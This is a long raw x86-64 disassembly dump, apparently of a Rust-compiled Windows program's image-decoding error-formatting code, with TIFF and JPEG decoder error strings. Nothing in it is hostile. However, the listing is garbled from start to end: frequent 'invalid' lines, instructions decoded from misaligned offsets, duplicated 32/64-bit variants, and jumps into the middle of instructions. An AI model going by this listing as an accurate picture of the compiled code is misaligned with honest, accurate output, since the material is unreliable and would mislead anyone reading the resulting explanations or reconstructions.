lea edx, [0x140265abf]
and al, byte [rax]
jmp 0x140042384
add byte [rax], al
add byte [rbp + rcx*4 + 0x4c], cl
lea r9, [rsp + 0x30]
and al, 0x30
xor byte [rcx - 0x77], cl
or dword [rax - 0x73], ecx
mov qword [r9], rcx
mov dword [rcx], ecx
lea rcx, fcn.140009390
lea ecx, [0x1401fa050]
or eax, 0x1b7d5e
sbb eax, dword [rax]
mov qword [rsp + 0x20], rcx
and al, 0x20
and byte [rax - 0x73], cl
lea rdx, [0x140265acf]
adc eax, 0x2237d1
and al, byte [rax]
add cl, ch
add dword [rax], 0x8d4c0000
add byte [rax], al
invalid
invalid
invalid
jmp 0x140042384
add byte [rax], al
add byte [rbp + rcx*4 + 0x4c], cl
invalid
add byte [rax], al
lea r9, [rsp + 0x30]
and al, 0x30
and al, 0x30
xor byte [rcx - 0x77], cl
or dword [rax - 0x73], ecx
lea ecx, [0x1401fa050]
mov qword [r9], rcx
lea rcx, fcn.140009390
lea ecx, [0x1401fa050]
jge 0x14004232c
sbb eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x20
invalid
mov qword [rsp + 0x20], rcx
and byte [rax - 0x73], cl
adc eax, 0x2237a5
movsd dword [rdi], dword [rsi]
invalid
and al, byte [rax]
invalid
lea rdx, [0x140265ac3]
movsd dword [rdi], dword [rsi]
invalid
add byte [rcx - 0x48], al
mov r8d, 7
invalid
add byte [rax], al
add cl, ch
test byte [rax], al
invalid
jmp 0x1400423ad
add byte [rax], al
add byte [rbp + rcx*4 + 0x4c], cl
invalid
invalid
invalid
add byte [rax], al
lea r9, [rsp + 0x30]
and al, 0x30
mov qword [r9], rcx
mov dword [rcx], ecx
or dword [rax - 0x73], ecx
or eax, 0x1b7d18
sbb eax, dword [rax]
lea rcx, fcn.140009390
lea ecx, [0x1401fa050]
sbb eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
and al, 0x20
lea rdx, [0x140265aca]
lea edx, [0x140265aca]
xchg byte [rdi], dh
and al, byte [rax]
jmp 0x1400423a7
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
mov qword [r9], rcx
mov dword [rcx], ecx
or dword [rax - 0x73], ecx
lea rcx, fcn.140009390
or eax, 0x1b7cfb
jl 0x14004236f
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
and al, 0x20
lea rdx, case.0x140059243.3
adc eax, 0x223715
invalid
add byte [rcx - 0x48], al
add eax, dword [rax]
add byte [rax], al
mov r8d, 3
jmp 0x1400423ad
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [r9], rcx
mov dword [rcx], ecx
or dword [rax - 0x73], ecx
or eax, 0x1b7cd8
fdivr dword [rbx + rbx]
lea rcx, fcn.140009390
fdivr dword [rbx + rbx]
sbb eax, dword [rax]
mov qword [rsp + 0x20], rcx
lea rdx, case.0x140059243.5
lea edx, case.0x140059243.5
and byte [rax - 0x73], cl
adc eax, 0x22370f
getsec
and al, byte [rax]
lea edx, case.0x140059243.5
getsec
and al, byte [rax]
mov r8d, 4
add al, 0
add byte [rax], al
invalid
jmp 0x1400423ad
lea r9, [rsp + 0x30]
and al, 0x30
and al, 0x30
xor byte [rcx - 0x77], cl
mov qword [r9], rcx
lea rcx, fcn.140009390
or eax, 0x1b7cb5
or dword [rax - 0x73], ecx
or eax, 0x1b7cb5
mov ch, 0x7c
sbb eax, dword [rax]
mov qword [rsp + 0x20], rcx
and al, 0x20
and byte [rax - 0x73], cl
adc eax, 0x2236f0
invalid
lea rdx, case.0x140059243.4
add byte [rcx - 0x48], al
add eax, 0x48000000
mov ecx, eax
invalid
mov r8d, 5
mov rcx, rax
call fcn.14002b6a0
nop
add rsp, 0x38
add esp, 0x38
invalid
ret
sub esp, 0x68
push 0x41098b4c
movzx eax, word [rcx]
invalid
mov r9, qword [rcx]
movzx eax, word [r9]
invalid
lea rcx, [0x14028bae8]
lea ecx, [0x14028bae8]
xchg edi, eax
and al, 0
movsxd rax, dword [rcx + rax*4]
add al, 0x81
or dword [rax + 1], 0x48e0ffc8
add rax, rcx
add eax, ecx
jmp rax
loopne case.0x1400089d2.503
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1401fa5db]
adc eax, 0x1b81f2
sbb dword [rbx], 0x1f3e900
add cl, ch
add dword [rax], eax
jmp case.0x140010276.433
add byte [rax], al
add byte [rcx - 0x7d], cl
rol dword [rdx], 0x48
lea eax, [rsp + 0x60]
and al, 0x60
add r9, 2
add ecx, 2
lea rax, [rsp + 0x60]
and al, 0x60
invalid
mov qword [rax], r9
or byte [rax - 0x73], cl
or eax, 0x1b82cf
iretd
invalid
sbb eax, dword [rax]
lea rcx, fcn.140009390
sbb eax, dword [rax]
mov qword [rsp + 0x20], rcx
and al, 0x20
and al, 0x20
lea r9, [0x1401fa78c]
jg case.0x140042142.18
sbb eax, dword [rax]
jmp 0x140042713
add r9, 8
add ecx, 8
ror dword [rax], 0x48
lea eax, [rsp + 0x60]
and al, 0x60
lea rax, [rsp + 0x60]
mov qword [rax], r9
or byte [rax - 0x73], cl
lea rcx, fcn.140009390
lea ecx, [0x1401fa740]
or eax, 0x1b831b
sbb eax, dword [rax]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
and al, 0x20
lea r9, [0x1401fa777]
sbb dword [rbx], 0
sbb eax, dword [rax]
add byte [rcx - 0x48], al
mov r8d, 0x15
adc eax, 0xe9000000
add byte [rax], al
add cl, ch
invalid
jmp case.0x1400573f7.289
sub eax, dword [rbx]
add byte [rax], al
invalid
add byte [rcx - 0x7d], cl
rol dword [rdx], 0x48
add r9, 2
add ecx, 2
lea rax, [rsp + 0x60]
lea eax, [rsp + 0x60]
invalid
mov qword [rax], r9
lea rcx, fcn.140009390
lea ecx, [0x1401fa030]
jnp case.0x1400230cc.430
sbb eax, dword [rax]
or byte [rax - 0x73], cl
or eax, 0x1b7be1
sbb eax, dword [rax]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
lea r9, [0x1401fa713]
lea ecx, [0x1401fa713]
or eax, 0x1b82b8
mov eax, 0x41001b82
add byte [rcx - 0x48], al
mov r8d, 0x1a
mov eax, 0x1a
sbb al, byte [rax]
add byte [rax], al
jmp case.0x1400573f7.289
add byte [rax], al
add byte [rcx - 0x73], cl
adc byte [r8 - 0x73], cl
adc byte [rax - 0x73], cl
lea rax, [r9 + 0x10]
lea rcx, [rsp + 0x60]
and al, 0x60
invalid
and al, 0x60
invalid
mov qword [rcx], rax
add r9, 8
invalid
invalid
ror dword [rax], 0x48
or byte [rax - 0x73], cl
add eax, 0x1b7bf3
jnp 0x140042497
sbb eax, dword [rax]
lea rax, fcn.140009390
lea eax, [0x1401fa070]
sbb eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x50], rax
and al, 0x50
push rax
mov qword [rsp + 0x48], rcx
lea rax, [0x1401fa65e]
lea rax, [0x1401fa65e]
sbb dword [rbx], 0x44894800
sbb eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x38
and al, 0x38
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
and al, 0x38
lea rax, fcn.140009390
mov qword [rsp + 0x30], rax
and al, 0x30
add byte [rax - 0x77], cl
and al, 0x30
and al, 0x30
and al, 0x30
mov qword [rsp + 0x28], r9
sub byte [rax - 0x39], cl
and al, 0x40
and al, 0x40
mov qword [rsp + 0x40], 0xe
invalid
add byte [rax], al
mov qword [rsp + 0x20], 0xc
and byte [rax + rax], cl
or al, 0
add byte [rax], al
lea rax, [0x1401fa63a]
sbb eax, dword [rax]
lea r9, [0x1401fa652]
mov es, word [rcx - 0x7e16ffe5]
add dword [rax], eax
add byte [rcx - 0x7d], cl
invalid
invalid
add cl, ch
add dword [rcx], 0x83490000
invalid
invalid
jmp 0x14004264a
add r9, 8
add ecx, 8
ror dword [rax], 0x48
lea eax, [rsp + 0x60]
and al, 0x60
lea rax, [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [rax], r9
or byte [rax - 0x73], cl
lea rcx, fcn.140009390
or eax, 0x1b8264
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
and al, 0x20
and byte [rbp + rcx*4 + 0xd], cl
invalid
lea r9, [0x1401fa72d]
mov r8d, 0xc
mov eax, 0xc
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
je 0x1400424f3
invalid
jmp case.0x1400573f7.289
add al, byte [rax]
add byte [rcx - 0x7d], cl
rol dword [rdx], 0x48
lea rax, [rsp + 0x60]
add byte [rax], al
add r9, 2
lea rax, [rsp + 0x60]
and al, 0x60
invalid
mov qword [rax], r9
or byte [rax - 0x73], cl
lea rcx, fcn.140009390
lea ecx, [0x1401fa6d0]
or eax, 0x1b81ca
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], rcx
lea r9, str.RequiredTagNotFoundUnknownPredictorUnknownPlanarConfigurationByteExpected
lea ecx, str.RequiredTagNotFoundUnknownPredictorUnknownPlanarConfigurationByteExpected
fiadd word [rcx + 0x23e9001b]
add cl, ch
and eax, dword [rdx]
invalid
jmp 0x14004273a
add al, byte [rax]
add byte [rax - 0x75], cl
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x1b80da
sbb byte [rbx], 0
invalid
lea rdx, [0x1401fa604]
add byte [rcx - 0x48], al
mov r8d, 0x1a
sbb al, byte [rax]
add byte [rax], al
add cl, ch
jmp 0x1400426ed
mov eax, 0x49000001
add ecx, 8
invalid
invalid
add dword [rax], eax
add byte [rcx - 0x7d], cl
invalid
invalid
add r9, 8
ror dword [rax], 0x48
lea eax, [rsp + 0x60]
and al, 0x60
lea rax, [rsp + 0x60]
and al, 0x60
mov qword [rax], r9
lea rcx, fcn.140009390
or eax, 0x1b7f78
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
and al, 0x20
lea r9, [0x1401fa4b9]
jg 0x14004256e
jg 0x14004256e
add byte [rcx - 0x48], al
invalid
mov r8d, 6
jmp case.0x1400573f7.289
add al, byte [rax]
add byte [rax], al
add cl, ch
or byte [rdx], al
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x1b80ac
sbb byte [rbx], 0
lea rdx, [0x1401fa61e]
lodsb al, byte [rsi]
sbb byte [rbx], 0
sbb eax, dword [rax]
add byte [rcx - 0x48], al
mov r8d, 0x1c
sbb al, 0
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
jo case.0x14000f477.437
jmp 0x1400426ed
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x1b8123
invalid
invalid
sbb eax, dword [rax]
invalid
lea rdx, [0x1401fa6b3]
mov r8d, 0xa
add byte [rax], al
add cl, ch
jmp 0x1400426ed
push rdx
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x1b8042
sbb byte [rbx], 0
lea rdx, [0x1401fa5f0]
sbb byte [rbx], 0
add bl, ch
jmp case.0x1400422a0.197
adc ecx, dword [rax - 0x75]
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
invalid
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1401fa79c]
adc eax, 0x1b81d9
fld dword [rcx - 0x47beffe5]
mov r8d, 0x14
mov eax, 0x14
adc al, 0
add byte [rax], al
jmp 0x1400426ed
invalid
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
invalid
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, str.SamplesPerPixelIsZero
lea edx, str.SamplesPerPixelIsZero
adc eax, 0x1b820f
mov r8d, 0x15
mov eax, 0x15
adc eax, 0xe9000000
add byte [rax], al
add cl, ch
jmp 0x1400426ed
add dword [rcx], eax
add byte [rax], al
add dword [rax], eax
add byte [rcx - 0x73], cl
invalid
invalid
lea rax, [r9 + 0x10]
adc byte [r8 - 0x73], cl
adc byte [rax - 0x73], cl
lea rcx, [rsp + 0x60]
and al, 0x60
and al, 0x60
invalid
mov qword [rcx], rax
add r9, 8
or byte [rax - 0x73], cl
add eax, 0x1b7a6d
sbb eax, dword [rax]
lea rax, fcn.140009390
insd dword [rdi], dx
jp 0x14004261d
invalid
sbb eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
and al, 0x50
and al, 0x50
push rax
mov qword [rsp + 0x48], rcx
and al, 0x48
lea rax, [0x1401fa692]
add byte [rax - 0x77], cl
and al, 0x38
invalid
mov qword [rsp + 0x38], rax
and al, 0x38
cmp byte [rax - 0x73], cl
add eax, 0x1b7b28
sub byte [rbx + 0x1b], bh
invalid
lea rax, fcn.140009390
jnp 0x14004263a
add byte [rax - 0x77], cl
and al, 0x30
invalid
mov qword [rsp + 0x30], rax
xor byte [rcx + rcx*4 + 0x4c], cl
mov qword [rsp + 0x28], r9
and al, 0x28
mov qword [rsp + 0x40], 0x10
mov dword [rsp + 0x40], 0x10
adc byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], 0xe
mov dword [rsp + 0x20], 0xe
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x1b8029
invalid
sbb byte [rbx], 0
sbb eax, dword [rax]
lea rax, [0x1401fa66c]
sbb eax, dword [rax]
add byte [rbp + rcx*4 + 0xd], cl
lea r9, [0x1401fa684]
lea ecx, [0x1401fa684]
cmp al, byte [rax - 0x47beffe5]
sbb byte [rbx], 0
add byte [rcx - 0x48], al
mov r8d, 0x18
mov eax, 0x18
sbb byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
mov rcx, rdx
ror dword [rax - 0x77], 1
ret 0x35e8
invalid
invalid
mov rdx, rax
call fcn.14002b490
invalid
invalid
jmp 0x140042775
add byte [rcx - 0x7d], cl
add r9, 8
add ecx, 8
ror dword [rax], 0x48
lea rax, [rsp + 0x60]
lea eax, [rsp + 0x60]
and al, 0x60
mov qword [rax], r9
lea rcx, fcn.140009390
sbb eax, dword [rax]
or eax, 0x1b80cd
sbb byte [rbx], 0
sbb eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
lea r9, str.UnsignedIntegerExpectedSignedIntegerExpectedRequiredTagEmptyStripTileTagConflictCycleInOffsetsJpegDecoder
lea ecx, str.UnsignedIntegerExpectedSignedIntegerExpectedRequiredTagEmptyStripTileTagConflictCycleInOffsetsJpegDecoder
or eax, 0x1b80e1
mov r8d, 0x17
jmp case.0x1400573f7.289
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
fld qword [rax]
add byte [rax], al
add byte [rcx - 0x73], cl
lea rax, [r9 + 8]
or byte [r8 - 0x73], cl
and al, 0x60
and al, 0x60
lea rcx, [rsp + 0x60]
and al, 0x60
mov qword [rcx], rax
add r9, 4
add ecx, 4
add al, 0x48
lea eax, [0x1401fa010]
outsd dx, dword [rsi]
jns 0x1400426bb
sbb eax, dword [rax]
lea rax, fcn.140009390
outsd dx, dword [rsi]
jns 0x1400426bb
invalid
add byte [rax - 0x77], cl
and al, 0x30
and al, 0x30
mov qword [rsp + 0x30], rax
and al, 0x30
mov qword [rsp + 0x28], rcx
and al, 0x28
lea rax, fcn.140009390
lea eax, [0x1401fa108]
jp 0x1400426cc
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
lea rax, [0x1401fa6a2]
lea eax, [0x1401fa6a2]
add eax, 0x1b7fe4
jg case.0x14001155f.433
add byte [rcx - 0x48], al
adc dword [rax], eax
add byte [rax], al
invalid
mov r8d, 0x11
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
invalid
mov rcx, rdx
mov rdx, rax
mov edx, eax
mov edx, eax
ret 0x91e8
call fcn.14002b760
jmp 0x140042775
add byte [rax], al
invalid
nop
invalid
invalid
movabs eax, dword [0x48204a8b48000000]
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fa7b0]
lea edx, [0x1401fa7b0]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fa7b0]
lea edx, [0x1401fa7b0]
lea edx, [0x1401fa7b0]
leave
sbb byte [rbx], 0
sbb eax, dword [rax]
mov r8d, 0xe
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x68
jmp rax
loopne case.0x140041c42.62
add r9, 2
add ecx, 2
add cl, byte [rax - 0x73]
lea rax, [rsp + 0x60]
lea eax, [rsp + 0x60]
and al, 0x60
mov qword [rax], r9
or byte [rax - 0x73], cl
or eax, 0x1b7929
jns case.0x14003f54f.80
invalid
lea rcx, fcn.140009390
lea ecx, [0x1401fa030]
mov qword [rsp + 0x20], rcx
and al, 0x20
and al, 0x20
lea r9, [0x1401fa703]
lea ecx, [0x1401fa703]
invalid
sbb eax, dword [rax]
mov r8d, 0x10
add byte [rax], al
jmp case.0x1400573f7.289
add r9, 2
add r9, 2
add ecx, 2
add cl, byte [rax - 0x73]
lea rax, [rsp + 0x60]
and al, 0x60
mov qword [rax], r9
or byte [rax - 0x73], cl
lea rcx, fcn.140009390
lea ecx, [0x1401fa6d0]
or eax, 0x1b7fa2
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
and al, 0x20
and al, 0x20
lea r9, [0x1401fa6bd]
jg 0x140042754
sbb eax, dword [rax]
add byte [rcx - 0x48], al
mov r8d, 0x13
adc eax, dword [rax]
add byte [rax], al
add bl, ch
jmp case.0x1400573f7.289
and eax, 0x8c18349
add r9, 8
or byte [rax - 0x73], cl
lea rax, [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [rax], r9
mov dword [rax], ecx
lea rcx, fcn.140009390
lea ecx, [0x1401fa7d0]
jnp case.0x140042142.26
sbb eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
and al, 0x20
and al, 0x20
lea r9, [0x1401fa7be]
or eax, 0x1b805d
sbb eax, dword [rax]
add byte [rcx - 0x48], al
or eax, dword [rax]
mov r8d, 0xb
add byte [rax], al
mov rcx, rdx
mov ecx, edx
ror dword [rcx + rcx*4 - 0x36], 1
mov rdx, r9
mov edx, ecx
retf 0x8949
mov r9, rax
call fcn.14002b6a0
shr eax, 0x2b
invalid
nop
add rsp, 0x68
add esp, 0x68
add esp, 0x68
push 0xffffffffec8348c3
ret
sub esp, 0x48
in al, dx
mov rax, rdx
mov rax, rdx
mov eax, edx
ror byte [rax - 0x75], 1
mov rcx, qword [rcx]
lea rdx, [rsp + 0x40]
push rsp
and al, 0x40
or dword [rax - 0x73], ecx
push rsp
and al, 0x40
mov qword [rdx], rcx
lea rcx, fcn.140009390
or eax, 0x1b813c
or cl, byte [rax - 0x73]
or eax, 0x1b813c
sbb dword [rbx], 0x4c894800
sbb eax, dword [rax]
mov qword [rsp + 0x30], rcx
and al, 0x30
mov qword [rsp + 0x28], rdx
and al, 0x28
mov qword [rsp + 0x20], 5
mov dword [rsp + 0x20], 5
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea rdx, str.JpegDecoderError
adc eax, 0x1b8112
sbb eax, dword [rax]
lea r9, [0x1401fa5d6]
lea ecx, [0x1401fa5d6]
and dword [rsi + 0x1b], edi
sbb eax, dword [rax]
add byte [rcx - 0x48], al
mov r8d, 0x10
adc byte [rax], al
add byte [rax], al
mov rcx, rax
call fcn.14002b3e0
nop
sbb eax, 0x90fffe8c
invalid
add rsp, 0x48
add esp, 0x48
ret
ret
sub rsp, 0x38
mov rax, qword [rcx]
add dword [rax - 0x75], ecx
add byte [rax - 0x75], cl
mov ecx, dword [rax + 0x10]
cmp byte [rax - 0x75], cl
add dword [rax - 0x75], ecx
add byte [rax - 0x75], cl
mov ecx, dword [rax + 0x10]
invalid
invalid
mov ecx, dword [rax + 0x10]
movabs r8, 0x8000000000000001
lea r9, [rcx + r8]
invalid
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x10c8d4e], al
or byte [rsi - 0x73], 0xc
add dword [rcx - 0x7d], ecx
or r8, 2
enter 0x4502, 0x31
ror byte [rcx + rdi - 0x3f], cl
cmp rcx, r8
xor r10d, r10d
cmp rcx, r8
ror dword [rbp + 0xf], 0x4c
ror dword [rax - 0x77], 1
invalid
cmovl r10, r9
mov rcx, rdx
mov ecx, edx
mov ecx, edx
ror dword [rax - 0x73], 1
adc eax, 0x24933f
invalid
xchg ebx, eax
and al, 0
invalid
lea rdx, [0x14028bb3c]
lea edx, [0x14028bb3c]
invalid
add byte [rsi + 0x63], cl
movsxd r8, dword [rdx + r10*4]
add al, 0x92
add r8, rdx
jmp r8
add rax, 0x10
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
rcl byte [rax], 0x4c
lea ecx, [rsp + 0x30]
and al, 0x30
and al, 0x30
xor byte [rcx - 0x77], cl
add dword [rax - 0x73], ecx
lea eax, [0x1401fa4c0]
mov qword [r9], rax
mov dword [rcx], eax
lea rax, fcn.140009390
lea eax, [0x1401fa4c0]
jl 0x140042834
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rax - 0x73], cl
lea rdx, [0x1401fa4b9]
adc eax, 0x1b7c93
sbb eax, dword [rax]
add byte [rcx - 0x48], al
mov r8d, 6
mov eax, 6
invalid
add byte [rax], al
add bl, ch
jmp case.0x14002e84a.297
invalid
jmp case.0x14002e84a.297
add rax, 0x18
add eax, 0x18
lea r9, [rsp + 0x30]
and al, 0x30
mov qword [r9], rax
lea rax, fcn.140009390
add eax, 0x1b784f
add dword [rax - 0x73], ecx
add eax, 0x1b784f
js 0x14004285b
js 0x14004285b
sbb eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, [0x14025d8ef]
lea edx, [0x14025d8ef]
add byte [rcx - 0x48], al
add al, byte [rax]
mov r8d, 2
mov eax, 2
add byte [rax], al
jmp case.0x14002e84a.297
add rax, 0x18
add rax, 0x18
rcr byte [rax], 0x4c
lea ecx, [rsp + 0x30]
and al, 0x30
lea r9, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [r9], rax
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
and byte [rax - 0x73], cl
adc eax, 0x1b7c8c
jl 0x14004288e
invalid
lea rdx, str.Internal
jl 0x14004288e
add byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
invalid
mov r8d, 8
add byte [rax], al
add bl, ch
and eax, 0x18c08348
add rax, 0x18
jmp case.0x14002e84a.297
add rax, 0x18
rcr byte [rax], 0x4c
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
xor byte [rcx - 0x77], cl
mov qword [r9], rax
lea rax, fcn.140009390
lea eax, [0x1401fa4e0]
add dword [rax - 0x73], ecx
add eax, 0x1b7c51
jl 0x1400428a9
invalid
lea eax, [0x1401fa4e0]
jl 0x1400428a9
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, case.0x14018de40.36
push rsi
jmp qword [rcx]
invalid
and dword [rax], eax
mov r8d, 0xb
mov eax, 0xb
or eax, dword [rax]
add byte [rax], al
add byte [rax], al
add al, ch
invalid
cli
call fcn.14002b6a0
nop
invalid
add rsp, 0x38
ret
invalid
sub rsp, 0x68
mov rax, rdx
mov eax, edx
in al, dx
push 0x48d08948
mov eax, edx
mov rcx, qword [rcx]
mov eax, edx
mov rcx, qword [rcx]
or dword [rax - 0x73], ecx
push rcx
or byte [rbp + rcx*4 + 0x44], cl
lea eax, [rsp + 0x60]
lea rdx, [rcx + 8]
lea edx, [rcx + 8]
lea r8, [rsp + 0x60]
lea eax, [rsp + 0x60]
and al, 0x60
mov qword [r8], rdx
lea rdx, fcn.140009390
adc byte [rax - 0x73], cl
adc eax, 0x1b7cbf
mov qword [rsp + 0x50], rdx
and al, 0x50
push rax
mov qword [rsp + 0x48], r8
and al, 0x48
lea rdx, [0x140260a14]
mov qword [rsp + 0x38], rdx
push rsp
and al, 0x38
push rsp
and al, 0x38
lea rdx, fcn.140009390
adc eax, 0x1b7862
add byte [rax - 0x77], cl
push rsp
and al, 0x30
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x40], 9
or dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x20], 0xb
and al, 0x20
or eax, dword [rax]
add byte [rax], al
lea rdx, str.Utf8Errorvalid_up_toerror_len
lea edx, str.Utf8Errorvalid_up_toerror_len
and dword [rax], eax
lea r9, [0x140260a09]
mov r8d, 9
mov eax, 9
stc
loopne case.0x140045009.200
add byte [rcx - 0x48], al
or dword [rax], eax
add byte [rax], al
mov eax, 9
mov rcx, rax
mov ecx, eax
shr eax, 0x72
call fcn.14002b490
nop
add rsp, 0x68
mov edi, esi
call qword [rax + 0x68c48348]
invalid
ret
sub esp, 0x38
cmp qword [rcx], 0
je case.0x140045009.188
lea r9, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [r9], rcx
lea rax, fcn.140009390
mov qword [rsp + 0x20], rax
lea rax, str.IoError
invalid
and byte [rax - 0x73], cl
add eax, 0x20ad0f
invalid
add byte [rcx - 0x48], al
mov r8d, 7
mov rcx, rdx
mov rdx, rax
invalid
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
ret 0x46e8
invalid
invalid
call fcn.14002b6a0
nop
add rsp, 0x38
add esp, 0x38
add esp, 0x38
invalid
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1401fa6a2]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401fa6a2]
lea edx, [0x1401fa6a2]
add byte [rcx - 0x48], al
mov r8d, 0x11
adc dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
invalid
add rsp, 0x38
cmp byte [rax - 1], cl
loopne 0x1400429c9
jmp rax
mov eax, 0xdf8b2582
push rax
imul eax, esp, 0x31
fist word [rax + 0x6b]
invalid
movabs rdx, 0xf538e8cafc39ece7
ret
in al, dx
cmp esp, edi
retf 0x38e8
mov rax, qword [rcx]
test rax, rax
cmovne rax, rcx
ror dword [r8 - 0x73], 0x15
xchg edx, eax
cmpsd dword [rsi], dword [rdi]
sbb eax, dword [rax]
invalid
ror dword [r8 - 0x73], 0x15
xchg edx, eax
cmpsd dword [rsi], dword [rdi]
sbb eax, dword [rax]
invalid
add bl, al
ret
cmp dword [rax], eax
je case.0x140040456.91
add rcx, 8
add ecx, 8
jmp fcn.14001ca7a
ret
cmp byte [rax - 0x77], cl
rol byte [rax + 0x27740039], 1
cmp byte [rcx], 0
je case.0x140041c42.78
cmp byte [rcx], 0
je case.0x140041c42.78
add rcx, 8
lea r9, [rsp + 0x30]
or byte [rbp + rcx*4 + 0x4c], cl
and al, 0x30
mov qword [r9], rcx
lea rcx, fcn.140009390
invalid
jbe 0x1400429ef
invalid
or dword [rax - 0x73], ecx
or eax, 0x1b76bb
invalid
jbe 0x1400429ef
invalid
mov ebx, 0x48001b76
mov dword [rsp + 0x20], ecx
and al, 0x20
jbe 0x1400429ef
sbb eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], rcx
and al, 0x20
